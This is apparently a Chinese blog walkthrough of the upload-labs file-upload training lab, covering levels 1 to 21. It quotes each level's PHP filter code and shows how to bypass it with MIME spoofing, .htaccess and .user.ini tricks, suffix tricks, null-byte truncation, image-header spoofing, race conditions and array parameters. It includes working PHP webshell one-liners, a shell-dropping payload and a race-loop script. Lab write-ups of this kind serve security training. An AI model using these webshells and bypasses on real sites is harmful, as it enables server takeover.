文章目录
- Pass-01
- Pass-02
- Pass-03
- Pass-04
- Pass-05
- Pass-06
- Pass-07
- Pass-08
- Pass-09
- Pass-10
- Pass-11
- Pass-12
- Pass-13
- Pass-14
- Pass-15
- Pass-16
- Pass-17
- Pass-18
- Pass-19
- Pass-20
- 方法一(文件夹名欺骗绕过)
- 方法二(%00截断攻击)
- Pass-21
Pass-01
绕过js前端检测
我们已经知道会对上传文件进行检测
我们F12,找到checkFile()
的方法调用处
然后删掉即可绕过检测(或者将checkFile()
改为Ture
)
现在可以正常上传.php
文件,然后蚁剑连接
然后getshell
成功
Pass-02
绕过MIME检测
查看后端源代码,发现只对MIME类型进行检测
我们创建1.php
,写入一句话木马
<?php @eval($_POST['shell']);?>
上传,bp抓包修改MIME的application/octet-stream
为image/jpeg
蚁剑连接,getshell
成功
Pass-03
老样子传图片马,发现失败
查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');//从右向左查找最后一个出现的点号".",并返回该字符及其后面的所有字符$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
结合源代码分析,1.php.
,1.Php
,1.php(空格)
,1.php::$DATA
,1.php.aa
均无法上传成功
那么我们可以上传1.php
后,抓包改为1.php3
,上传成功
由于phpstudy
新版本没有TS,所以无法解析上传的php3文件(被当作文本)
反正是成功绕过
Pass-04
查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
发现相比于第三关黑名单多了很多,这次不能用php
版本绕过
那么可以用.htaccess
配置文件攻击
先打开配置文件
启用AllowOverride
创建.htaccess
文件,写入
<FilesMatch '1.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>
上传后可以匹配到1.jpg
,然后被当成php
文件解析
我们先上传.htaccess
文件
上传成功后,再上传1.jpg
由于phpstudy
是新版本,对.htaccess
支持存在问题,会出现返回值为空
也就是说.htaccess
文件没有上传成功(算是getshell
,就是有点无语。。)
Pass-05
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
发现.htaccess文件被办了
发现.ini
文件没有被禁用,又因为提示上传目录存在php文件(readme.php)
我们可以上传.ini
文件,让所有php文件
都“自动”包含某个文件(比如一句话木马)
不过前提是含有.user.ini
的文件夹下需要有正常的php文件
创建.user.ini
auto_prepend_file=1.jpg
上传成功后,再上传1.jpg
我们再访问../upload/readme.php
(因为我们的一句话木马包含在readme.php
)
成功getshell
Pass-06
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
.ini
被办了,直接卡住。。
仔细发现过滤条件少了大小写转换
结合黑名单,我们可以上传.Php
文件绕过
上传成功
出现服务器配置问题,有点无语
Pass-07
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
发现过滤条件少了去空格
思路很清晰,bp抓包手动添加空格(重命名windows系统会吞掉空格)
上传1.php
文件,添加空格
成功绕过
Pass-08
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
相比于前几关,发现过滤少了去除.
那么我们可以用1.php.
绕过
bp抓包手动添加.
访问../upload/1.php.
,成功绕过
Pass-09
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
相比于前一关,发现少了过滤条件去除字符串::$DATA
::$DATA
是一个流传输,可以把后面的数据当成流处理和.
,(空格)
类似
那么我们可以先上传1.php
然后抓包手动添加::$DATA
访问../upload/202307160004185100.php
,成功绕过
(注意访问路径不带有::$DATA
)
Pass-10
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
根据提示,发现只允许上传.jpg|.png|.gif后缀的文件!
但是.htaccess
,.ini
文件都被办了
结合deldot函数
,我们可以上传1.php. .
绕过
因为deldot函数
从后往前检测,检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
这样我们既绕过了去除点号,也绕过了去除空格
bp抓包,手动修改
访问../upload/1.php.(空格)
,成功绕过
Pass-11
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
发现过滤条件会根据黑名单,把我们上传不合格的文件名删掉
$file_name = str_ireplace($deny_ext,"", $file_name);
那么我们可以双写绕过,直接上传1.pphphp
成功绕过
Pass-12
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
观察源代码,发现多了一个GET参数save_path
,这是我们上传文件的路径
说明我们可以控制我们上传文件的保存路径
move_uploaded_file($temp_file,$img_path)
是移动文件的函数
我们上传1.php
,路径为../upload/
由于对文件后缀有检测
我们抓包修改文件后缀
我们在修改上传路径为../upload/1.php%00
因为当程序检测后缀合法后,通过拼接路径和文件名来保存上传的文件
原本的拼接结果为../uploads/1.php%00/9820230717123050.jpg
由于截断字符,移动文件的时候会将文件保存为../uploads/1.php
,从而达到getshell
(这里php
版本不满足要求,所以magic_quotes_gpc
找不到,也就无法上传成功)
Pass-13
源代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
和第十二关类似,不过上传路径变为POST传参
先上传1.php
,然后抓包修改后缀绕过
然后修改POST参数为../upload/1.phpa
点开Hex,找到我们标记的a,修改为00
因为在Hex中改成00后,得到的结果是一个ASCII码为0的字符,也就是null字符或空字符。
在URL编码中,null字符会被替换为%00,从而达到截断效果
因为php
版本问题,和第十二关一样
Pass-14
源代码
function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg';break;case 13780: $fileType = 'png';break; case 7173: $fileType = 'gif';break;default: $fileType = 'unknown';} return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
分析源代码,发现会检查上传文件的开头2个字节
那么我们既要绕过文件后缀名检测,也要绕过文件头检测
我们创建1.php
,写入
<?php phpinfo();?>
然后修改后缀为.gif
上传抓包,手动添加绕过
题目告诉我们可以结合文件包含漏洞,点开查看源代码
要利用include函数去文件包含,才能解析木马的执行
(上述页面存在文件包含漏洞)
Pass-15
源代码
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
方法和第十四关相同
Pass-16
源代码
function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
方法和第十四关相同
Pass-17
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true; }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}
考点是二次渲染,网站展示的是经过二次渲染后的
我们上传的文件得为.jpg
,.png
,.gif
之一
gif二次渲染容易,我们用准备好的图片马上传,然后下载下来
拉到010里面对比两张图片相同的地方,即未被二次渲染修改
打开比较文件
找到相同地方,说明没被二次渲染
在其中插入一句话木马或getshell
然后再重新上传
发现被重命名了(当然可以抓包看上传成功后的URL,懒得打开bp了)
成功访问有文件包含漏洞的URL
Pass-18
源代码
$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}
分析一下,发现先对我们上传的文件进行白名单检测,然后会对上传文件重命名,如果不符合,unlink()
会删除该文件
也就是说如果我们要传图片马绕过,得要有文件包含漏洞。显然这一关没有,那么我们传的图片马就解析不了,那么就只能传一句话木马
我们可以利用条件竞争上传,因为代码执行的过程是需要耗费时间的,我们只要在上传的一句话被删除之前访问就行了
可以利用burp多线程发包,然后不断在浏览器访问我们的webshell
,会有一瞬间的访问成功。
创建1.php
,写入微调后的一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
作用:一旦访问到该文件就会在当前目录下生成一个shell.php
的一句话
上传bp抓包,清除payload
改为Null payload
,设置无限重复
然后写py脚本,通过它来不停的访问我们上传上去的PHP文件
现在bp开始攻击
在bp攻击的同时,运行脚本,当出现OK
时说明访问到了该文件
那么我们的一句话木马被成功解析,然后蚁剑连接
(注意连接的是我们在当前目录写的shell.php
)
成功getshell
Pass-19
此题要修改下文件
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break; default:$msg = '未知错误!';break;}
}//myupload.php
class MyUpload{
......
......
...... var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );......
......
...... /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret ); }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, we are ready to move the file to destination$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}
......
......
......
};
相比于前一关多了对后缀名检测,所以我们只能传图片马,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其
他漏洞,比如文件包含,apache
解析漏洞等。
此题可以结合文件包含漏洞
先创建2.php
,写入一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
利用cmd命令合成图片马
上传图片马,然后流程跟第十八关类似
不过要修改脚本,因为是结合文件上传漏洞
import requests
url = "http://upload-labs-master/include.php?file=upload/3.png"
while True:html = requests.get(url)if ( 'Warning' not in str(html.text)):print('ok')break
bp开始攻击
攻击时运行脚本
然后蚁剑连接
(注意URL,因为我们修改文件,保存的位置是在根目录)
Pass-20
源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
分析源代码,首先会对文件名后缀检测,上传文件类型不能在黑名单中
然后通过pathinfo()
内置函数,$file_ext
变量将包含$file_name
中的文件扩展名(不包括点号)
然后拼接路径$img_path = UPLOAD_PATH . '/' .$file_name;
方法一(文件夹名欺骗绕过)
由于题目的保存文件名是可控的
我们可以借助move_uploaded_file()
的特性会忽略掉文件末尾的 /
来进行绕过
(即保存的文件名可以为upload-19.php/.
)
我们上传php文件
的一句话木马
抓包,修改两个位置绕过检测
成功getshell
(注意URL末尾没有.
)
当然,保存的文件名可以为upload-19.php.
也能绕过
方法二(%00截断攻击)
文件保存为upload-19.php%00.jpg
也能绕过
(不过版本问题,上传不成功)
Pass-21
源代码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}
注:
reset()
获取数组的第一个元素
end()
获取数组的最后一个元素
count()
获取数组或对象的元素数量(至关重要)
分析源代码:
- 首先是MIME检测
- 继续运用三元运算符判断POST的参数是否为空
- 然后再判断是否为数组,若不为则根据点号分开(即让文件名和扩展名分别为数组的值)
- 接着将拓展名即
$file[count($file) - 1]
与白名单对比 - 最后若合法则拼接路径
绕过条件比较难,不过可以利用POST传参数组
- 只需要让第一个值即save_name[0]=
upload-20.php
(.php
是为了能被解析) - 然后再让数组最后一个值为
jpg
就能绕过
但是这里就有问题,为什么最后一个值jpg
不会拼接路径里呢
因在于这个拼接过程用的是count函数,如果数组有三位,但是有一位为空,最后count出来的数就为2,而非为3。
所以我们传参save_name[2]=jpg
,让save_name[1]为空即可
上传抓包
成功getshell